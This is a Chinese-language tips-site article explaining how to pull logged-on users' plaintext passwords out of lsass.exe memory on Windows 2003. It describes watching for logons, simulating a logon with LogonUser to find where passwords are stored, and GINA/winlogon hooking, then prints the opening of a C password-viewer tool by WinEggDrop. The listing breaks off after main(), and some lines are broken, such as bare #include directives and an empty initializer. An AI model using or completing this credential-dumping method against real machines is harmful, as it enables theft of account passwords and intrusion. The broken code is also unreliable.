熱搜:win11繞過硬件限制安裝 一鍵重裝Win10系統(tǒng) 最干凈的u盤啟動(dòng)盤 真正純凈版的win7系統(tǒng)
時(shí)間:2012-10-26 15:13:49 作者:木木 來源:系統(tǒng)之家 1. 掃描二維碼隨時(shí)看資訊 2. 請使用手機(jī)瀏覽器訪問: https://m.xitongzhijia.net/xtjc/20121026/17877.html 手機(jī)查看 評論 反饋
提高成功率的兩種做法:
1.程序直接寫成服務(wù),定時(shí)檢查本地或遠(yuǎn)程登陸(其實(shí)沒什么分別),當(dāng)檢測到登陸后,去搜索lsass進(jìn)程內(nèi)存,嘗試得到密碼。
2.程序模擬一個(gè)登陸(使用LogonUser()就能搞定),因?yàn)槭褂肔ogonUser()這個(gè)API,你要提供帳號名和對應(yīng)的正確的密碼,才可以成功,然后你就可以去搜索lsass進(jìn)程內(nèi)存。因?yàn)橹烂艽a是什么,我們就能定位到密碼是保存在什么地方。因?yàn)榈顷懹脩舻拿艽a都是保存在同一個(gè)地址或相離不遠(yuǎn)的地址中,模擬登陸和搜索,可以先定位以后登陸的用戶的密碼會(huì)大約保存在什么位置。
無論怎說,三種方法中,最穩(wěn)定,最安全的方法還是使用Gina那種方法.Hijack了winlogn一些API的方法,畢竟是改動(dòng)了系統(tǒng)的東西,對系統(tǒng)的穩(wěn)定性來說,會(huì)有考驗(yàn),直接搜索lsass進(jìn)程內(nèi)存的方法呢,雖說也是困難,但準(zhǔn)確性,成功率卻又是低。
下面的代碼使用的是很笨,而且很原始的搜索方法,主要是搜索Lsass內(nèi)存中"LocalSystem Remote Procedure"這個(gè)字符串,因?yàn)樵谙喈?dāng)多的測試中,密碼都是保存在有這個(gè)字符串的地址后一點(diǎn)的位置中,當(dāng)然了,很多系統(tǒng)并沒有這個(gè)字符串,或者就算有,我們得到的都是錯(cuò)誤的密碼。
代碼: //********************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: 12/15/2004
// Purpose: To Demonstrate Searching Logon User Password On 2003 Box,The Method
// Used Is Pretty Unwise,But This May Be The Only Way To Review The
// Logon User's Password On windows 2003.
// Test PlatForm: windows 2003
// Compiled On: VC++ 6.0
//********************************************************************************
#include
#include
#include
#define BaseAddress 0x002b5000 // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable
char Password[MAX_PATH] = ; // Store The Found Password
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID);
int Search(char *Buffer,const UINT nSize);
DWORD GetLsassPID();
BOOL Is2003();
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
int main()
{
DWORD PID = 0;
printf("windows 2003 Password Viewer V1.0 By WinEggDrop\n\n");
if (!Is2003()) // Check Out If The Box Is 2003
{
printf("The Program Can't Only Run On windows 2003 Platform\n");
return -1;
}
PID = GetLsassPID(); // Get The Lsass.exe PID
if (PID == 0) // Fail To Get PID If Returning Zerom
{
return -1;
}
FindPassword(PID); // Find The Password From Lsass.exe Memory
return 0;
}
// End main()
//------------------------------------------------------------------------------------
發(fā)表評論
共0條
評論就這些咯,讓大家也知道你的獨(dú)特見解
立即評論以上留言僅代表用戶個(gè)人觀點(diǎn),不代表系統(tǒng)之家立場